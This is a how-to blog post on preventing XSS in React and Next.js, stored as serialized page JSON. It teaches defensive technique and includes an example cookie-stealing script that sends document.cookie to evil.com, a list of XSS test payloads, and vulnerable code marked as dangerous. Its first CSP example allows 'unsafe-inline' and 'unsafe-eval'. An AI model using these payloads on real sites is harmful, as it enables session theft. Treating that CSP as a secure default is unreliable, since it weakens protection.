[{"data":1,"prerenderedAt":388},["ShallowReactive",2],{"blog-how-to/protect-against-xss":3},{"id":4,"title":5,"body":6,"category":368,"date":369,"dateModified":370,"description":371,"draft":372,"extension":373,"faq":374,"featured":372,"headerVariant":375,"image":374,"keywords":374,"meta":376,"navigation":377,"ogDescription":378,"ogTitle":374,"path":379,"readTime":374,"schemaOrg":380,"schemaType":381,"seo":382,"sitemap":383,"stem":384,"tags":385,"twitterCard":386,"__hash__":387},"blog/blog/how-to/protect-against-xss.md","How to Protect Against XSS Attacks",{"type":7,"value":8,"toc":345},"minimark",[9,13,17,21,30,35,38,49,53,56,59,65,69,72,78,83,86,92,98,102,106,109,115,118,124,128,130,136,138,144,148,151,157,161,164,168,174,178,184,188,191,197,201,204,210,214,217,223,226,230,262,266,326],[10,11],"category-badge",{"category":12},"How-To Guide",[14,15,5],"h1",{"id":16},"how-to-protect-against-xss-attacks",[18,19,20],"p",{},"Stop attackers from running JavaScript in your users' browsers",[22,23,24,27],"tldr",{},[18,25,26],{},"TL;DR",[18,28,29],{},"React escapes content by default. Don't use dangerouslySetInnerHTML unless absolutely necessary, and if you must, sanitize with DOMPurify. Set Content Security Policy headers. Never put user input in href, src, or event handlers without validation.",[31,32,34],"h2",{"id":33},"what-is-xss","What is XSS?",[18,36,37],{},"Cross-Site Scripting (XSS) happens when an attacker injects malicious JavaScript into your page. This script runs in victims' browsers, allowing the attacker to steal session tokens, redirect users, or modify page content.",[39,40,45],"pre",{"className":41,"code":43,"language":44},[42],"language-text","// User submits this as their \"name\"\n\u003Cscript>fetch('https://evil.com/steal?cookie='+document.cookie)\u003C/script>\n\n// If you display it unsafely, the script runs for everyone who views it\n","text",[46,47,43],"code",{"__ignoreMap":48},"",[31,50,52],{"id":51},"reacts-built-in-protection","React's Built-in Protection",[18,54,55],{},"React automatically escapes content rendered in JSX:",[18,57,58],{},"Safe by Default",[39,60,63],{"className":61,"code":62,"language":44},[42],"// This is SAFE - React escapes the content\nfunction UserName({ name }: { name: string }) {\n  return \u003Cp>Hello, {name}\u003C/p>;\n}\n\n// Even if name is \"\u003Cscript>alert('xss')\u003C/script>\"\n// It renders as text, not as a script\n",[46,64,62],{"__ignoreMap":48},[31,66,68],{"id":67},"the-dangerous-escape-hatch","The Dangerous Escape Hatch",[18,70,71],{},"dangerouslySetInnerHTML Creates XSS Risk",[39,73,76],{"className":74,"code":75,"language":44},[42],"// DANGEROUS - This bypasses React's protection\nfunction Comment({ html }: { html: string }) {\n  return \u003Cdiv dangerouslySetInnerHTML={{ __html: html }} />;\n}\n\n// If html contains \u003Cscript> tags, they will execute!\n",[46,77,75],{"__ignoreMap":48},[79,80,82],"h3",{"id":81},"if-you-must-use-dangerouslysetinnerhtml","If You Must Use dangerouslySetInnerHTML",[18,84,85],{},"Sanitize the HTML first with DOMPurify:",[39,87,90],{"className":88,"code":89,"language":44},[42],"npm install dompurify\nnpm install @types/dompurify --save-dev\n",[46,91,89],{"__ignoreMap":48},[39,93,96],{"className":94,"code":95,"language":44},[42],"import DOMPurify from 'dompurify';\n\nfunction SafeHTML({ html }: { html: string }) {\n  const clean = DOMPurify.sanitize(html, {\n    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],\n    ALLOWED_ATTR: ['href'],\n  });\n\n  return \u003Cdiv dangerouslySetInnerHTML={{ __html: clean }} />;\n}\n",[46,97,95],{"__ignoreMap":48},[31,99,101],{"id":100},"common-xss-patterns-to-avoid","Common XSS Patterns to Avoid",[79,103,105],{"id":104},"user-input-in-href","User Input in href",[18,107,108],{},"Dangerous",[39,110,113],{"className":111,"code":112,"language":44},[42],"// VULNERABLE: javascript: URLs execute code\n\u003Ca href={userProvidedUrl}>Click here\u003C/a>\n\n// Attacker sets url to: javascript:alert(document.cookie)\n",[46,114,112],{"__ignoreMap":48},[18,116,117],{},"Safe",[39,119,122],{"className":120,"code":121,"language":44},[42],"function SafeLink({ url, children }: { url: string; children: React.ReactNode }) {\n  const safeUrl = url.startsWith('http://') || url.startsWith('https://')\n    ? url\n    : '#';\n\n  return \u003Ca href={safeUrl}>{children}\u003C/a>;\n}\n",[46,123,121],{"__ignoreMap":48},[79,125,127],{"id":126},"user-input-in-style","User Input in Style",[18,129,108],{},[39,131,134],{"className":132,"code":133,"language":44},[42],"// VULNERABLE in some cases\n\u003Cdiv style={{ background: userColor }}>\n\n// Attacker could inject: url(\"javascript:alert('xss')\")\n",[46,135,133],{"__ignoreMap":48},[18,137,117],{},[39,139,142],{"className":140,"code":141,"language":44},[42],"const ALLOWED_COLORS = ['red', 'blue', 'green', 'purple'];\n\nfunction ColoredBox({ color }: { color: string }) {\n  const safeColor = ALLOWED_COLORS.includes(color) ? color : 'gray';\n  return \u003Cdiv style={{ background: safeColor }}>Content\u003C/div>;\n}\n",[46,143,141],{"__ignoreMap":48},[79,145,147],{"id":146},"eval-and-function-constructor","Eval and Function Constructor",[18,149,150],{},"Never Use These with User Input",[39,152,155],{"className":153,"code":154,"language":44},[42],"// EXTREMELY DANGEROUS\neval(userInput);\nnew Function(userInput)();\nsetTimeout(userInput, 1000);\nsetInterval(userInput, 1000);\n",[46,156,154],{"__ignoreMap":48},[31,158,160],{"id":159},"content-security-policy","Content Security Policy",[18,162,163],{},"CSP is a security header that restricts what scripts can run on your page.",[79,165,167],{"id":166},"nextjs-configuration","Next.js Configuration",[39,169,172],{"className":170,"code":171,"language":44},[42],"// next.config.js\nconst securityHeaders = [\n  {\n    key: 'Content-Security-Policy',\n    value: `\n      default-src 'self';\n      script-src 'self' 'unsafe-inline' 'unsafe-eval';\n      style-src 'self' 'unsafe-inline';\n      img-src 'self' data: https:;\n      font-src 'self';\n      connect-src 'self' https://api.yoursite.com;\n    `.replace(/\\n/g, ''),\n  },\n];\n\nmodule.exports = {\n  async headers() {\n    return [\n      {\n        source: '/:path*',\n        headers: securityHeaders,\n      },\n    ];\n  },\n};\n",[46,173,171],{"__ignoreMap":48},[79,175,177],{"id":176},"strict-csp-recommended-for-production","Strict CSP (Recommended for Production)",[39,179,182],{"className":180,"code":181,"language":44},[42],"// Use nonces for inline scripts\nContent-Security-Policy:\n  default-src 'self';\n  script-src 'self' 'nonce-{random}';\n  style-src 'self' 'nonce-{random}';\n  img-src 'self' data: https:;\n  object-src 'none';\n  base-uri 'self';\n  form-action 'self';\n  frame-ancestors 'none';\n",[46,183,181],{"__ignoreMap":48},[31,185,187],{"id":186},"server-side-sanitization","Server-Side Sanitization",[18,189,190],{},"Always sanitize on the server before storing:",[39,192,195],{"className":193,"code":194,"language":44},[42],"// app/api/comments/route.ts\nimport DOMPurify from 'isomorphic-dompurify';\n\nexport async function POST(request: Request) {\n  const { content } = await request.json();\n\n  // Sanitize before storing\n  const cleanContent = DOMPurify.sanitize(content, {\n    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br'],\n    ALLOWED_ATTR: [],\n  });\n\n  await db.comment.create({\n    data: { content: cleanContent },\n  });\n\n  return Response.json({ success: true });\n}\n",[46,196,194],{"__ignoreMap":48},[31,198,200],{"id":199},"markdown-rendering","Markdown Rendering",[18,202,203],{},"If you render Markdown, be careful with raw HTML:",[39,205,208],{"className":206,"code":207,"language":44},[42],"import { marked } from 'marked';\nimport DOMPurify from 'dompurify';\n\nfunction renderMarkdown(markdown: string) {\n  // Convert markdown to HTML\n  const rawHtml = marked(markdown);\n\n  // Sanitize the output\n  const cleanHtml = DOMPurify.sanitize(rawHtml);\n\n  return cleanHtml;\n}\n",[46,209,207],{"__ignoreMap":48},[31,211,213],{"id":212},"testing-for-xss","Testing for XSS",[18,215,216],{},"Try these payloads in input fields:",[39,218,221],{"className":219,"code":220,"language":44},[42],"\u003Cscript>alert('XSS')\u003C/script>\n\u003Cimg src=x onerror=alert('XSS')>\n\u003Csvg onload=alert('XSS')>\njavascript:alert('XSS')\n\u003Ca href=\"javascript:alert('XSS')\">click\u003C/a>\n\u003Cdiv onmouseover=\"alert('XSS')\">hover me\u003C/div>\n",[46,222,220],{"__ignoreMap":48},[18,224,225],{},"If any of these execute, you have a vulnerability.",[31,227,229],{"id":228},"xss-prevention-checklist","XSS Prevention Checklist",[231,232,233,237,244,247,250,253,256,259],"ul",{},[234,235,236],"li",{},"Let React escape content by default",[234,238,239,240,243],{},"Avoid ",[46,241,242],{},"dangerouslySetInnerHTML"," when possible",[234,245,246],{},"Use DOMPurify if you must render HTML",[234,248,249],{},"Validate URLs before using in href or src",[234,251,252],{},"Never use eval() with user input",[234,254,255],{},"Set Content Security Policy headers",[234,257,258],{},"Sanitize user input on the server before storing",[234,260,261],{},"Use httpOnly cookies for sensitive tokens",[31,263,265],{"id":264},"quick-reference","Quick Reference",[267,268,269,282],"table",{},[270,271,272],"thead",{},[273,274,275,279],"tr",{},[276,277,278],"th",{},"Context",[276,280,281],{},"Protection",[283,284,285,294,302,310,318],"tbody",{},[273,286,287,291],{},[288,289,290],"td",{},"Text content",[288,292,293],{},"React escapes automatically",[273,295,296,299],{},[288,297,298],{},"HTML content",[288,300,301],{},"DOMPurify.sanitize()",[273,303,304,307],{},[288,305,306],{},"URL attributes",[288,308,309],{},"Validate protocol (https://, http://)",[273,311,312,315],{},[288,313,314],{},"CSS values",[288,316,317],{},"Allowlist valid values",[273,319,320,323],{},[288,321,322],{},"JavaScript context",[288,324,325],{},"Never use user input",[327,328,329,335,340],"related-articles",{},[330,331],"related-card",{"description":332,"href":333,"title":334},"Step-by-step guide to implementing secure magic link authentication. Passwordless login via email with proper security c","/blog/how-to/magic-links","How to Implement Magic Link Authentication",[330,336],{"description":337,"href":338,"title":339},"Step-by-step guide to finding and fixing mixed content on HTTPS sites. Learn to identify HTTP resources, update URLs, an","/blog/how-to/mixed-content-fix","How to Fix Mixed Content Warnings",[330,341],{"description":342,"href":343,"title":344},"Step-by-step guide to configuring MongoDB authentication. Create users, set up roles, enable access control, and secure ","/blog/how-to/mongodb-auth","How to Set Up MongoDB Authentication",{"title":48,"searchDepth":346,"depth":346,"links":347},2,[348,349,350,354,359,363,364,365,366,367],{"id":33,"depth":346,"text":34},{"id":51,"depth":346,"text":52},{"id":67,"depth":346,"text":68,"children":351},[352],{"id":81,"depth":353,"text":82},3,{"id":100,"depth":346,"text":101,"children":355},[356,357,358],{"id":104,"depth":353,"text":105},{"id":126,"depth":353,"text":127},{"id":146,"depth":353,"text":147},{"id":159,"depth":346,"text":160,"children":360},[361,362],{"id":166,"depth":353,"text":167},{"id":176,"depth":353,"text":177},{"id":186,"depth":346,"text":187},{"id":199,"depth":346,"text":200},{"id":212,"depth":346,"text":213},{"id":228,"depth":346,"text":229},{"id":264,"depth":346,"text":265},"how-to","2026-01-22","2026-02-06","Step-by-step guide to preventing XSS in React and Next.js. Sanitizing user input, Content Security Policy, and common XSS patterns to avoid.",false,"md",null,"yellow",{},true,"Prevent XSS in React and Next.js. Sanitization, CSP, and common patterns.","/blog/how-to/protect-against-xss","[object Object]","HowTo",{"title":5,"description":371},{"loc":379},"blog/how-to/protect-against-xss",[],"summary_large_image","FhfYjWYW4Q_j_fQHsQxyG4QHtl8ycqHvxCLlv95aYaY",1775843918546]